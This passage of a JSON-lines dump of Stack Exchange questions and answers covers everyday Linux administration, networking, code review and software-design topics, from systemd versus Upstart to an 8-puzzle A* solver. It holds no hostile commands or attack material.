controversy has been created:Without-Systemd.orgSystemd-Free.org The Init FreedomSystemd on SucklessThere is a lot of interesting discussion on Hacker News:https://news.ycombinator.com/item?id=7728692https://news.ycombinator.com/item?id=13387845https://news.ycombinator.com/item?id=11797075https://news.ycombinator.com/item?id=12600413https://news.ycombinator.com/item?id=11845051https://news.ycombinator.com/item?id=11782364https://news.ycombinator.com/item?id=12877378https://news.ycombinator.com/item?id=10483780https://news.ycombinator.com/item?id=13469935Similar tendencies in other distros can be observed as well:The Church of Suckless NixOS is looking for followersPhilosophyupstart follows the Unix philosophy of DOTADIW - Do One Thing and Do It Well. It is a replacement for the traditional init daemon. It doesn't do anything other than starting and stopping services. Other tasks are delegated to other specialized subsystems.systemd does much more than that. In addition to starting and stopping services it also manages passwords, logins, terminals, power management, factory resets, log processing, file system mount points, networking and much more - see the NEWS file for some of the features.Plans of expansionAccording to A Perspective for systemdWhat Has Been Achieved, and What Lies Ahead presentation by Lennart Poettering in 2014 at GNOME.asia, here are the main objectives of systemd, areas that were already covered and those that were still in progress:systemd objectives:Our objectivesTurning Linux from a bag of bits into a competitive General Purpose Operating System.Building the Internets Next Generation OS Unifying pointless differences between distributionsBringing innovation back to the core OSDesktop, Server, Container, Embedded, Mobile, Cloud, Cluster, . . . These areas are closer together than you might thinkReducing administrator complexity, reliability without supervisionEverything introspectableAuto discovery, plug and play is keyWe fix things where they are broken, never tape over themAreas already covered:What we already cover:init system, journal logging, login management, device management,  temporary and volatile file management, binary format registration,  backlight save/restore, rfkill save/restore, bootchart, readahead,  encrypted storage setup, EFI/GPT partition discovery, virtual  machine/container registration, minimal container management, hostname  management, locale management, time management, random seed  management, sysctl variable management, console managment, . . .Work in progress:What we are working on:network managementsystemd-networkdLocal DNS cache, mDNS responder, LLMNR responder, DNSSEC verificationIPC in the kernelkdbus, sd-busTime synchronisation with NTPsystemd-timesyncdMore integration with containersSandboxing of ServicesSandboxing of AppsOS Image formatContainer image formatApp image formatGPT with auto-discoveryStateless systems, instantiatable systems, factory reset/usr is the OS/etc is (optional) configuration/var is (optional) stateAtomic node initialisation and updatesIntegration with the cloudService management across nodesVerifiable OS imagesAll the way to the firmwareBoot LoadingScope of this answerAs fpmurphy1 noted in the comments, It should be pointed out that systemd has expanded its scope of work over the years far beyond simply that of system startup.I tried to include most of the relevant info here. Here I am comparing the common features of Upstart and systemd when used as init systems as asked in the question and I only mention features of systemd that go beyond the scope of an init system because those cannot be compared to Startup, but their presence is important to understand the difference between those two projects. The relevant documentation should be checked for more info.More infoMore info can be found at:upstart websitesystemd websiteUpstart on WikipediaSystemd on WikipediaThe architecture of systemd on WikipediaLinus Torvalds and others on Linux's systemd (ZDNet)About the systemd controversy by Robert GrahamInit Freedom CampaignRationale for switching from upstart to systemd?ExtrasThe LinOxide Team has created a Systemd vs SysV Init Linux Cheatsheet."  } 
{  "id": "_unix.328549"  , "question": "I like to rip my vhs on mpeg formatI use a vcr svhs and this mencoder linemencoder -tv driver=v4l2:alsa:adevice=hw.0,0:amode=1:audiorate=32000:forceaudio:immediatemode=0:freq=189.250:device=/dev/video0:input=3:norm=PAL:width=720:height=576:outfmt=yuy2 tv:// -oac lavc -ovc lavc -of mpeg -mpegopts format=dvd -vf pp=lb/ha/va/dr,hqdn3d,harddup -srate 48000 -af lavcresample=48000 -lavcopts vcodec=mpeg2video:vrc_buf_size=1500:vrc_maxrate=8000:vbitrate=7000:keyint=15:acodec=mp2:abitrate=192:aspect=4/3 -o video.mpgThe rip is ok,audio in sync but i see very annoyng green framesand actors seems aliens.There is a way to avoid green frames?"  , "title": "Linux mencoder and green frames"  , "tags": "mencoder"  } 
{  "id": "_unix.255402"  , "question": "A proxy server was added using export http://link:port/.I try to ping google.com and there is no response, the DNS is able to resolve an IP. wget of google.com works.routes:Destination     Gateway         Genmask         Flags Metric Ref    Use Iface192.168.123.0   *               255.255.255.0   U     0      0        0 eth0link-local      *               255.255.0.0     U     1002   0        0 eth0default         192.168.123.1   0.0.0.0         UG    0      0        0 eth0ip tables::INPUT ACCEPT [0:0]:FORWARD ACCEPT [0:0]:OUTPUT ACCEPT [21:2344]-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT-A INPUT -p icmp -j ACCEPT-A INPUT -i lo -j ACCEPT-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT-A INPUT -j REJECT --reject-with icmp-host-prohibited-A FORWARD -j REJECT --reject-with icmp-host-prohibitedany ideas?"  , "title": "Linux server able to wget but not able to ping"  , "tags": "networking;wget;ping"  } 
{  "id": "_unix.205321"  , "question": "I want to enable bluetooth device when system is up.Which is the recommended way to do it?The command is sudo hciconfig hci0 up.Should I put it in /etc/rc.local? or should I use update-rc.d?If there is no proper way to do it, I'll choose the way with /etc/rc.local.Thanks.EditFollowing @krt's answer I added @reboot cronjob, but hci0 are still down when rebooting. According to /var/log/syslog the job is running correctly.1136 May 24 11:17:20 klein /usr/sbin/cron[2107]: (CRON) INFO (pidfile fd = 3)1137 May 24 11:17:20 klein /usr/sbin/cron[2108]: (CRON) STARTUP (fork ok)1138 May 24 11:17:20 klein /usr/sbin/cron[2108]: (CRON) INFO (Running @reboot jobs)"  , "title": "Where should I put `hciconfig hci0 up` for start up"  , "tags": "raspberry pi"  } 
{  "id": "_codereview.124595"  , "question": "I'm writing a Direct2D game in c++ / WinAPI. I need to render things 60 times every a second using fixed time step.__int64 time_before = 0;__int64 time_now;__int64 frequency;__int64 time_elapsed;double frameTime;if (QueryPerformanceFrequency((LARGE_INTEGER*)&frequency)) {    frameTime = (double)frequency / 60;    while (true) {        //process incoming messages here        QueryPerformanceCounter((LARGE_INTEGER*)&time_now);        time_elapsed = time_now - time_before;        if (time_elapsed >= frameTime) {            //update and render things here:            time_start = time_before;        }    }}Are there any problems, or are there any improvements that can be made?"  , "title": "Fixed time step game loop"  , "tags": "c++;game;winapi"  } 
{  "id": "_unix.64991"  , "question": "CentOS 6I'm studying RHEL / Centos and recently learned that the touch command can be used to change the last access date of a file.  I'm struggling to understand a practical reason why anyone would want to do this (without actually making any changes to a file).  Can someone please elaborate? "  , "title": "Why would someone want to change the last access date of a file without making actual changes within the file itself?"  , "tags": "bash;centos;rhel"  } 
{  "id": "_unix.230792"  , "question": "This thread comes from here. Even when it is an Android question,I think the theoretical command line part should better be asked here.In short: I have achieved to mount a Ext4 file system, but this mount only exists for root user.Details:root@unknown:/ # mount | grep sdcard -i/dev/block/mmcblk1p1 /storage/sdcard1 ext4 rw,seclabel,relatime,data=ordered 0 0root@unknown:/ # exitu0_a98@unknown:/ $ mount | grep sdcardu0_a98@unknown:/ $ mount | grep mmcblkAs can be seen, the normal user can not see the device as mounted. This is, obviously, very different from having no permissions to access it.This could be some sort of bug, by the way.Or is it possible to do this on Linux?"  , "title": "Is it possible to mount a partition only for some users?"  , "tags": "filesystems;mount"  } 
{  "id": "_softwareengineering.152566"  , "question": "I am wondering if there are any studies that examine the efficacy of software projects in CMMI-oriented organizations. For example, are CMMI organizations more likely to finish projects on time and/or on budget than non-CMMI organizations?Edit for clarification:CMMI stands for Capability Maturity Model Integration. It's developed by the Software Engineering Institute at Carnegie-Mellon University (SEI-CMU).It's not a certification, but there are various companies that will appraise your organization to various levels of CMMI, such as level 2 and level 3. (I believe CMMI level 1 is an animalistic, Hobbesian free-for-all that nobody aspires to. In other words, everybody is at least CMMI level 1, even if you've never heard of CMMI before.)I'm definitely not an expert, but I believe that an organization can be appraised for CMMI levels within different scopes of work: i.e. service delivery, software development, foobaring, etc. My question is focused on the software development appraisal: is an organization that has been appraised to CMMI Level X for software projects more likely to finish a software project on time and on budget than another organization that has not been appraised to CMMI Level X?However, in the absence of hard data about software-oriented CMMI, I'd be interested in the effect that CMMI appraisals have on other activities as well.I originally asked the question because I've seen various studies conducted on software (e.g. the essays in The Mythical Man Month refer to numerous empirical studies, as does McConnell's Code Complete), so I know that there are organizations performing empirical studies of software development."  , "title": "Any empirical evidence on the efficacy of CMMI?"  , "tags": "development process;cmmi"  } 
{  "id": "_unix.202653"  , "question": "Is it possible to generate file content based on file name?I need a lot of similar .conf files with content depending on file name only.Can I create some dynamic file and generate a bunch of symlinks pointing to this file?Maybe fifo is a solution, but I can't get the file name in generating script:zsh$ mkfifo ./dynamic.confzsh$ ln -s ./dynamic.conf ./case1.confzsh$ echo $0  > ./dynamic.conf & zsh$ cat ./case1.confI have zsh (I need case1.conf)."  , "title": "Is it possible to create dynamic content on file read operation?"  , "tags": "linux;files;pipe"  , "accepted_answer": "Totally different approach because I just know your eyes are rolling at that last answer.In this one, you're going to rely on inotify which means it's really Linux-specific. You're going to turn the problem on its head -- the individual configuration files will still be there, but you will re-generate them automagically each time there is a change to the master. You have your master configuration file, say master.conf, that contains all your sections, sub-sections, etc. You set up your script with inotify so that when that script is changed, it will re-write all those files. (To avoid a race condition, you might have to do some extra tricks, like storing the files in a sub-directory, and swapping directories to perform your commit.)From https://stackoverflow.com/q/5316178/3849157 we get a basic perl script:my $inotify = Linux::Inotify2->new;$inotify->watch(/etc/master.conf, IN_MODIFY);while () {  my @events = $inotify->read;  unless (@events > 0){    print read error: $!;    last ;  }  foreach my $event (@events) {    next unless $event->IN_MODIFY;    # 1. TODO: RE-READ IN THE CONFIG FILE    # (example)    $config_hash = &parse_master_file;    # 2. TODO: RE-GENERATE YOUR CONFIG FILES    # (example)    for $section qw( section1 section2 misc ) {        open(S,> /etc/${section}.conf)        print S &dump_config($config_hash,$section)        close(S)    }  }}Doing the parse_master_file and dump_config will be up to you. Also, there probably should be a call to sleep in the main loop or your CPU will catch on fire."  } 
{  "id": "_cs.65279"  , "question": "While studying, I came across the following statements:A join point is a program point where two branches meet.Available expressions is a forward, must problem.Forward = Data Flow from in to out.Must = At joint point, property must hold on all paths that are joined.I get what joint point, available expression and forward is. But I am getting what exactly is meant by MUST.Someone please explain what MUST is with example.Edit: Could you please relate your statement with the following example."  , "title": "Forward must problem explanation in compiler design"  , "tags": "compilers"  } 
{  "id": "_unix.339363"  , "question": "How can I send characters to a command as though they came from a file?For example I tried:wc < apple pear orange-bash: apple pear orange: No such file or directory"  , "title": "How can I send characters to a command as though they came from a file?"  , "tags": "shell"  } 
{  "id": "_softwareengineering.271471"  , "question": "When using the Switch statement, is using return instead of break or a combination of the two considered bad form?while (true){    var operation = Randomness.Next(0, 3);    switch (operation)    {        case 0:            return result + number;        case 1:            if ((result - number) > 0)            {                return result - number;            }            break;        case 2:            return result * number;        case 3:            if ((result % number) == 0)            {                return result / number;            }            break;    }}"  , "title": "Using Return over Break or a combination"  , "tags": "c#;switch statement"  , "accepted_answer": "The break statement is required in case 1 and case 3.  If you omit it, the code will not compile, because the if body is not guaranteed to execute, and fall-through in switch statements is not allowed in C#.The break statement is not required in case 0 and case 2, because the return always executes; code execution will never reach the break statement.  The compiler will issue a warning if you include the break statement, but the code will compile.Not having break statements can be useful in simplifying certain mapping or factory functions:public string NumericString(int digit){    switch (digit)    {        case 1: return one;        case 2: return two;        case 3: return three;        // ..etc.    }}If you need fall-through behavior, you can simulate it with a goto, one of the few places in the C# language where using a goto actually makes sense, though it's arguable whether or not that constitutes good style."  } 
{  "id": "_webmaster.81019"  , "question": "Ive been getting an awful lot of refer spam in my Google Analytics referrer traffic recently (as i guess most people are - sites like www.Get-Free-Traffic-Now.com, buttons-for-your-website.com etc)Is there a way to stop this ? Is there a different tracking code that i could use or is there a way i can remove / ignore certain sites from the referral report ?"  , "title": "Stop Google Analytics refere spam"  , "tags": "google analytics;referrer"  } 
{  "id": "_softwareengineering.90903"  , "question": "As most projects use a C++ API, they deal with constraints of the API and constraints of the project itself.I'm a beginner at programming, I don't like to use OOP at all because nobody clearly managed to explain to me WHY it's is so important to restricting yourself with private scope to prevent others programmers to break data organisation consistency of some kind.I still can be ok with OOP, since it still allows to make some great things like Qt and Ogre3D, but those are only APIs, not applications, and those codes need to be perfect so nobody can criticize the work.I don't understand why do most programmers, since they make apps and not APIs, want to do perfect code like they design some genius piece of code, and waste time on this."  , "title": "What is beautiful code in C++, and why do most programmers care that much?"  , "tags": "c++;code quality;language agnostic"  , "accepted_answer": "Have you ever heard the saying No man is an island?For most programmers this is true. Hardly anyone writes code that is just an app. On many non-trivial apps one programmer writes the UI which needs to be easily modified by a designer. It also must allow for clear data binding to the business logic (Controller, ViewModel, or whatever you want to call it). Another programmer writes that controller, which can often be extremely complex, but needs to be simple enough to be easily consumed by the front end programmer. That business logic coder is consuming code from whoever wrote the data layer (Model, Repository, etc.). You do not have to use OOP, however, what OOP is pretty good at is allowing you to encapsulate logic behind an interface so that other people you work with can use your code without breaking it (assuming you tested that interface!). Abstraction is not the silver bullet, but you certainly enjoy it when you use libraries like Ogre3d, that allow you to do things you would be very unlikely to accomplish entirely on your own. So you might be saying now Seriously, I'm an exception and no one will see my code or work with it at all. Fair enough, but when you need to fix a bug in that app a few months from now, or want to add a couple features, you will probably see that the person who wrote that code back then and the person who is modifying it now are two totally different people. We often assume we will remember things, which is at the core of why we write sloppy code, but the truth is that yourself six months from now will not remember the hacks you put into your application now. Your future self will have enough to deal with, so why not give him/her a break?"  } 
{  "id": "_webmaster.21976"  , "question": "Possible Duplicate:What are the best ways to increase your site's position in Google?Move subdomain into subdirectory SEO question This is my first post on here as I am mainly on Stackoverflow and Serverfault.  I have been programming for at least 10 years now, have made hundreds of websites but I have just recently started getting into Design and the SEO side of sites, sad that I have been overlooking these for so many years.  I have pretty good knowledge from all my years of SEO but I have never really looked into it until now.My question, I would like to build a site that targets many different key words for the search engines, for an example.  Let's say I built a site about Outdoor activities called outdoorreview.com and I planned on having many sectionshunting fishing Hiking camping cycling climbing etc...For best Search Engine results, how could I get the most search engine traffic to all these ares?Also how should I structure the way to get to them, outdoorreview.com/Hiking/ or hiking.outdoorreview.com ?"  , "title": "Question about SEO and Domains"  , "tags": "seo"  } 
{  "id": "_cs.67176"  , "question": "I'm trying to implement an rbfs search algorithm  for the 15 puzzle (pseudo code below).link to the paper where i found the pseudo code:https://www.aaai.org/ocs/index.php/SOCS/SOCS15/paper/viewFile/10911/10632I do not understand what line 11 is suppose to do.Any clue appreciatedAlso, it start with a bound, and in the recursive call, use (min, B, f(n2))Does this mean that you start with infinity in the first call to rbfs as the bound?And so, the bound can only decrease, and never increase ?    RBFS(n, B)1. if n is a goal2. solution  n; exit()3. C  expand(n)4. if C is empty, return 5. for each child ni in C6.   if f(n) < F(n) then F(ni)  max(F(n), f(ni))7.   else F(ni)  f(ni)8. (n1, n2)  bestF(C)9. while (F(n1)  B and F(n1) < )10.  F(n1)  RBFS(n1, min(B, F(n2)))11.  (n1, n2)  bestF(C)12. return F(n1)And here is another pseudo-code implementationRBFS (node: N, value: F(N), bound: B) IF f(N)>B, return f(N)IF N is a goal, EXIT algorithmIF N has no children, RETURN infinityFOR each child Ni of N,   IF f(N)<F(N) THEN F[i] := MAX(F(N),f(Ni))   ELSE F[i] := f(Ni)sort Ni and F[i] in increasing order of F[i]IF only one child, F[2] := infinityWHILE (F[I] <= B and F[I] < infinity)  F[I] := RBFS(NI, F[I], MIN(B, F[2]))  insert N1 and F[I] in sorted orderreturn F[I]What I don't understand here is this : insert N1 and f[I] in sorted orderDoes this mean that rbfs does not maintain an open list (since it uses the recursion stack) but it does keep a closed list?"  , "title": "Trouble implementing back-tracking in RBFS"  , "tags": "algorithms;shortest path"  } 
{  "id": "_unix.210228"  , "question": "I want to add a user to Red Hat Linux that will not use a password for logging in, but instead use a public key for ssh. This would be on the command line."  , "title": "Add a user wthout password but with SSH and public key"  , "tags": "ssh;password;authentication;useradd"  } 
{  "id": "_softwareengineering.284036"  , "question": "I'm modeling a college process, in which I have three classes: Student, Subject and DegreeDegrees have their own subjects, students have a list of subjects they have passed, and also students should belong to a single degree plan.From a design perspective, how should I associate a student with his/her degree?If student has a reference to his relevant Degree object, then it suddenly could have a lot more responsibility, and I want to manage Separation of concerns properly.Is there a better alternative?"  , "title": "How wrong it is to have multiple associations between classes?"  , "tags": "design;object oriented;language agnostic;class design"  } 
{  "id": "_reverseengineering.11476"  , "question": "I start by saying that I'm completely new to the topic of reversing although I have many years of experience with programming in general.I've some problems with automatic recognition of library functions of a DOS executable compiled with Borland C++ 3.1.Actually the signatures are correctly identified as bc31rtd (and it states 199 as the actual number of applied signatures). So for example strcmp is correctly identified, colored and such.Starting from this I was relying blindly on these library function in the rest of the code until I realized that there was something wrong, this is, for example what I see in for strcpy:Which doesn't make sense to me since src is not used at all. Then repne scasb should scan for the length of the string but the last value placed in di is [bp+dest+2] like if both const char* were not dd but dw (so just the offset, without any specified segment, and ds is used implicitly). Since this was getting me crazy I checked the original implementation of the function by opening CC.LIB of BC++3.1 with IDA Pro directly and implementation is different indeed:So where's the problem here?How can I alter the function as I want? I tried modifying directly stack variables (Ctrl+K) but then offsets become faulty (eg [bp+8] marked as red).I ask sorry if I'm making some trivial wrong assumption that I'm not realizing."  , "title": "IDA Pro and recognized library functions"  , "tags": "ida;dos;flirt signatures"  } 
{  "id": "_unix.164981"  , "question": "My Raspberry running Raspbian crashed but I would like to know which packages I had installed on that SD card. Is there a way to detect that without actually booting the system?"  , "title": "List installed packages only from disk image"  , "tags": "debian;apt;package management"  , "accepted_answer": "Debian's package databases are under /var/lib/dpkg. They're text files, fairly easy to parse manually even if you don't have Debian tools around. In particular, the file /var/lib/dpkg/status contains one paragraph of information for every package (not just installed packages but also some other packages known to the system), starting with Package: PACKAGENAME.cd /media/sdcard0/var/lib/dpkg<status awk -v RS= '/\\nStatus: install ok installed\\n/ {print $2}'If you aren't on unix or other system with awk or other text processing tool, you can inspect the directory /var/lib/dpkg/info. Every package except for virtual dependency-only packages has several files there, including at least PACKAGENAME.list.If you're on a system with dpkg, you can tell it to consult a database other than the normal one.dpkg --admindir=/media/sdcard0/var/lib/dpkg -ldpkg --root=/media/sdcard0 -l"  } 
{  "id": "_softwareengineering.253910"  , "question": "I got lost in the opening of this post on reddit.How can if (sscanf(buf, %i, &mode) != 1 || TRUE) be rewritten to if (TRUE)?  Does this assume that the sscanf never fails?"  , "title": "How can if (sscanf(buf, %i, &mode) != 1 || TRUE) be rewritten to if (TRUE)?"  , "tags": "programming practices;coding style"  , "accepted_answer": "The author of the code calls sscanf and then ignores its return value assuming it is true. You can replace the code with 'if (TRUE)' provided that you call sscanf first."  } 
{  "id": "_webmaster.102638"  , "question": "1 person will send an email to 20 participants. Each participant will reply-all to the message - and continue to do so for each response they receive.Will this improve our email reputations? What about our email reputations with gmail users / outlook users? (assuming that some of the 20 participants are gmail or outlook users)"  , "title": "Will a Reply-All email thread with 20 participants improve our email reputations?"  , "tags": "email"  } 
{  "id": "_unix.100859"  , "question": "I have to set up a tunnel between two hosts.For this I use ssh in this way:ssh -L MY_LOCAL_PORT:FOREIGN_ADDRESS:FOREIGN_PORT MYUSER@SSH_SERVERafter that, I log in to my SSH_SERVER.How can I avoid this feature?!I have only to set up a tunnel. I don't have to login into my SSH_SERVER...I've tried the -N option, but it kept my shell busy."  , "title": "SSH: tunnel without shell on ssh server"  , "tags": "ssh;ssh tunneling"  , "accepted_answer": "As said in other posts, if you don't want a prompt on the remote host, you must use the -N option of SSH. But this just keeps SSH running without having a prompt, and the shell busy.You just need to put the SSH'ing as a background task with the & sign :ssh -N -L 8080:ww.xx.yy.zz:80 user@server &This will launch the ssh tunnelling in the background. But some messages may appear, especially when you try to connect to a non-listening port (if you server apache is not launched). To avoid these messages to spawn in your shell while doing other stuff, you may redirect STDOUT/STDERR to the big void : ssh -N -L 8080:ww.xx.yy.zz:80 user@server >/dev/null 2>&1 & Have fun with SSH. "  } 
{  "id": "_codereview.110429"  , "question": "I have developed this 8-puzzle solver using A* with manhattan distance. Appreciate if you can help/guide me regarding:1. Improving the readability and optimization of the code.2. I am using sort to arrange the priority queue after each state exploration to find the most promising state to explore next. Any way to optimize it.  import numpy as npfrom copy import deepcopyimport datetime as dtimport sys# calculate Manhattan distance for each digit as per goaldef mhd(s, g):    m = abs(s // 3 - g // 3) + abs(s % 3 - g % 3)    return sum(m[1:])# assign each digit the coordinate to calculate Manhattan distancedef coor(s):    c = np.array(range(9))    for x, y in enumerate(s):        c[y] = x    return c# checking if the initial state is solvable via inversion calculationdef inversions(s):    k = s[s != 0]    tinv = 0    for i in range(len(k) - 1):        b = np.array(np.where(k[i+1:] < k[i])).reshape(-1)        tinv += len(b)    return tinv# check user input for correctnessdef all(s):    set = '012345678'    return 0 not in [c in s for c in set]# generate board list as per optimized steps in sequencedef genoptimal(state):    optimal = np.array([], int).reshape(-1, 9)    last = len(state) - 1    while last != -1:        optimal = np.insert(optimal, 0, state[last]['board'], 0)        last = int(state[last]['parent'])    return optimal.reshape(-1, 3, 3)# solve the boarddef solve(board, goal):    #    moves = np.array(   [   ('u', [0, 1, 2], -3),                            ('d', [6, 7, 8],  3),                            ('l', [0, 3, 6], -1),                            ('r', [2, 5, 8],  1)                            ],                dtype=  [  ('move',  str, 1),                           ('pos',   list),                           ('delta', int)                           ]                        )    dtstate = [ ('board',  list),                ('parent', int),                ('gn',     int),                ('hn',     int)                ]    goalc = coor(goal)    # initial state values    parent = -1    gn     = 0    hn     = mhd(coor(board), goalc)    state = np.array([(board, parent, gn, hn)], dtstate)    #priority queue initialization    dtpriority = [  ('pos', int),                    ('fn', int)                    ]    priority = np.array( [(0, hn)], dtpriority)    #    while True:        priority = np.sort(priority, kind='mergesort', order=['fn', 'pos']) # sort priority queue        pos, fn = priority[0]                   # pick out first from sorted to explore        priority = np.delete(priority, 0, 0)    # remove from queue what we are exploring        board, parent, gn, hn = state[pos]        board = np.array(board)        loc = int(np.where(board == 0)[0])      # locate '0' (blank)        gn = gn + 1                             # increase cost g(n) by 1        for m in moves:            if loc not in m['pos']:                succ = deepcopy(board)          # generate new state as copy of current                succ[loc], succ[loc + m['delta']] = succ[loc + m['delta']], succ[loc]   # do the move                if ~(np.all(list(state['board']) == succ, 1)).any():    # check if new (not repeat)                    hn = mhd(coor(succ), goalc)                         # calculate Manhattan distance                    q = np.array(   [(succ, pos, gn, hn)], dtstate)     # generate and add new state in the list                    state = np.append(state, q, 0)                    fn = gn + hn                                        # calculate f(n)                    q = np.array([(len(state) - 1, fn)], dtpriority)    # add to priority queue                    priority = np.append(priority, q, 0)                    if np.array_equal(succ, goal):                      # is this goal state?                        print('Goal achieved!')                        return state, len(priority)    return state, len(priority)#################################################def main():    print()    goal    =  np.array( [1, 2, 3, 4, 5, 6, 7, 8, 0] )    string = input('Enter board: ')    if len(string) != 9 or all(string) == 0:        print('incorrect input')        return    board = np.array(list(map(int, string)))    if (inversions(board) % 2 != 0):        print('not solvable')        return    state, explored = solve(board, goal)    print()    print('Total generated:', len(state))    print('Total explored: ', len(state) - explored)    print()    # generate and show optimized steps    optimal = genoptimal(state)    print('Total optimized steps:', len(optimal) - 1)    print()    print(optimal)    print()################################################################# Main Programif __name__ == '__main__':    main()"  , "title": "8-Puzzle using A* and Manhattan Distance"  , "tags": "python;python 3.x;ai;sliding tile puzzle;a star"  , "accepted_answer": "Don't import things you don't use.You can safely remove dt and sys.Don't overwrite builtins. all is already a function, and your implementation is more is_anagram.When using Booleans use things for Booleans.# What are you on about 0 (the number) is never in.return 0 not in [c in s for c in set]# What you should usereturn False not in [c in s for c in set]# This can be better worded as:# And remove `__builtin__` if you stop shadowing `all`.return __builtin__.all(c in s for c in set)But then there is the usage of the bitwise not ~.>>> bool(~True), ~True(True, -2)>>> bool(~False), ~False(True, -1)>>> bool(~-1), ~-1(False, 0)Yes ~(np.all(list(state['board']) == succ, 1)).any() is always True. Instead use not.Use less comments. And if you are to use comments, use pre-line rather than inline.# uglygn = gn + 1 # increase cost g(n) by 1# better# increase cost g(n) by 1gn = gn + 1# Best (As we all understand addition.)gn += 1Use less intermarry variables. And remove un-used ones.# Badm = abs(s // 3 - g // 3) + abs(s % 3 - g % 3)return sum(m[1:])# Goodreturn sum((abs(s // 3 - g // 3) + abs(s % 3 - g % 3))[1:])# Badpos, fn = priority[0]# Goodpos, _ = priority[0]# Bestpos = priority[0][0]Use less whitespace. In the Python community whitespace is pretty important.The language it's self ingrains good practice of well tabbed code.But we also discourage useless whitespace, or whitespace that impairs readability.# Badmoves = np.array(   [   ('u', [0, 1, 2], -3),                    ('d', [6, 7, 8],  3),                    ('l', [0, 3, 6], -1),                    ('r', [2, 5, 8],  1)                    ],        dtype=  [  ('move',  str, 1),                   ('pos',   list),                   ('delta', int)                   ]                )# Goodmoves = np.array(    [        ('u', [0, 1, 2], -3),        ('d', [6, 7, 8],  3),        ('l', [0, 3, 6], -1),        ('r', [2, 5, 8],  1)    ],    dtype=[        ('move',  str, 1),        ('pos',   list),        ('delta', int)    ])Pick better variable names. We're not all mathematicians, and even if we were gn is of no help to understand the program.parent on the other hand is a good variable name.The function all should be removed. As an alternate you can also just do an anagram check on it. sorted(a) == sorted(b)inversions can make use of sum to reduce noise.Reduce the amount of un-used items in your arrays, currently the boards parents and hn are never used.You can use a default dict rather than np.all(list(state['board']) == succ, 1).any()to check if you have already used found the board.This is good as for the input 012345678 you get:Total generated: 2057Total explored:  1305Total optimized steps: 22With defaultdict you can check the contense in O(1), where you would have to check in O(n) with np.all(...).So I would use:import numpy as npfrom copy import deepcopyfrom collections import defaultdictdef mhd(s, g):    return sum((abs(s // 3 - g // 3) + abs(s % 3 - g % 3))[1:])def coor(s):    c = np.array(range(9))    for x, y in enumerate(s):        c[y] = x    return cdef solve(board, goal):    moves = np.array(        [            ('u', [0, 1, 2], -3),            ('d', [6, 7, 8], 3),            ('l', [0, 3, 6], -1),            ('r', [2, 5, 8], 1)        ],        dtype=[            ('move', str, 1),            ('pos', list),            ('delta', int)        ]    )    STATE = [        ('board', list),        ('parent', int),        ('gn', int),        ('hn', int)    ]    PRIORITY = [        ('pos', int),        ('fn', int)    ]    previous_boards = defaultdict(bool)    goalc = coor(goal)    hn = mhd(coor(board), goalc)    state = np.array([(board, -1, 0, hn)], STATE)    priority = np.array( [(0, hn)], PRIORITY)    while True:        priority = np.sort(priority, kind='mergesort', order=['fn', 'pos'])        pos = priority[0][0]        priority = np.delete(priority, 0, 0)        board = state[pos][0]        gn = state[pos][2] + 1        loc = int(np.where(board == 0)[0])        for m in moves:            if loc not in m['pos']:                succ = deepcopy(board)                delta_loc = loc + m['delta']                succ[loc], succ[delta_loc] = succ[delta_loc], succ[loc]                succ_t = tuple(succ)                if previous_boards[succ_t]:                    continue                previous_boards[succ_t] = True                hn = mhd(coor(succ_t), goalc)                state = np.append(                    state,                    np.array([(succ, pos, gn, hn)], STATE),                    0                )                priority = np.append(                    priority,                    np.array([(len(state) - 1, gn + hn)], PRIORITY),                    0                )                if np.array_equal(succ, goal):                    return state, len(priority)def inversions(s):    k = s[s != 0]    return sum(        len(np.array(np.where(k[i+1:] < k[i])).reshape(-1))        for i in range(len(k) - 1)    )def genoptimal(state):    optimal = np.array([], int).reshape(-1, 9)    last = len(state) - 1    while last != -1:        optimal = np.insert(optimal, 0, state[last]['board'], 0)        last = int(state[last]['parent'])    return optimal.reshape(-1, 3, 3)def main():    print()    goal = np.array([1, 2, 3, 4, 5, 6, 7, 8, 0])    string = input('Enter board: ')    board = np.array(list(map(int, string)))    if sorted(string) != sorted('012345678'):        print('incorrect input')        return    if inversions(board) % 2:        print('not solvable')        return    state, explored = solve(board, goal)    optimal = genoptimal(state)    print((        'Goal achieved!\\n'        '\\n'        'Total generated: {}\\n'        'Total explored:  {}\\n'        '\\n'        'Total optimized steps: {}\\n'        '{}\\n'        '\\n'    ).format(len(state), len(state) - explored, len(optimal) - 1, optimal))if __name__ == '__main__':    main()"  } 
{  "id": "_unix.155992"  , "question": "Windows 7TeX Live 2014I am trying to install Minion Pro and Myriad Pro for the use with pdflatex. When I try to run the script in cygwin vianame@pc-name /cygdrive/d/LaTeX/FontPro-master-Build01$ ./scripts/makeall MinionPro --expanded...this is what happens:Chosen font family is MinionProDifferent font versions found: --pack option is disabledCreating PostScript fonts ...C:\\texlive\\2014\\bin\\win32\\cfftot1.exe: glyph sterling.oldstyle: Whilng otf/MinionPro-Bold.otf:C:\\texlive\\2014\\bin\\win32\\cfftot1.exe: glyph sterling.oldstyle: warnex flex hint replaced with curvesC:\\texlive\\2014\\bin\\win32\\cfftot1.exe: (This Type 2 format font containts prohibited by Type 1.C:\\texlive\\2014\\bin\\win32\\cfftot1.exe: Ive safely replaced them with urves.)C:\\texlive\\2014\\bin\\win32\\cfftot1.exe: glyph colonmonetary.oldstyle:cessing otf/MinionPro-It.otf:C:\\texlive\\2014\\bin\\win32\\cfftot1.exe: glyph colonmonetary.oldstyle:complex flex hint replaced with curvesC:\\texlive\\2014\\bin\\win32\\cfftot1.exe: (This Type 2 format font containts prohibited by Type 1.C:\\texlive\\2014\\bin\\win32\\cfftot1.exe: Ive safely replaced them with urves.)Creating TeX metrics ..../scripts/makeall: Zeile 93: perl: Kommando nicht gefunden. < 62) : Syntaxfehler: Ungltiger arithmetischer Operator. (Fehlerveru < 62) \\).t \\scripts/maketfm: Zeile 245: bc: Kommando nicht gefunden.(I cut many lines similar to the last one with Kommando nicht gefunden. Had to hit Ctrl + C to stop it.)So apparently the file maketfm in the same isn't found due to the typical difference in the slashes. Does anyone have any idea how I can remedy this?New version, after installing perl for cygwin$ ./scripts/makeall MinionPro --expandedChosen font family is MinionProDifferent font versions found: --pack option is disabledCreating PostScript fonts ...C:\\texlive\\2014\\bin\\win32\\cfftot1.exe: glyph sterling.oldstyle: While processing otf/MinionPro-Bold.otf:C:\\texlive\\2014\\bin\\win32\\cfftot1.exe: glyph sterling.oldstyle: warning: complex flex hint replaced with curvesC:\\texlive\\2014\\bin\\win32\\cfftot1.exe: (This Type 2 format font contains 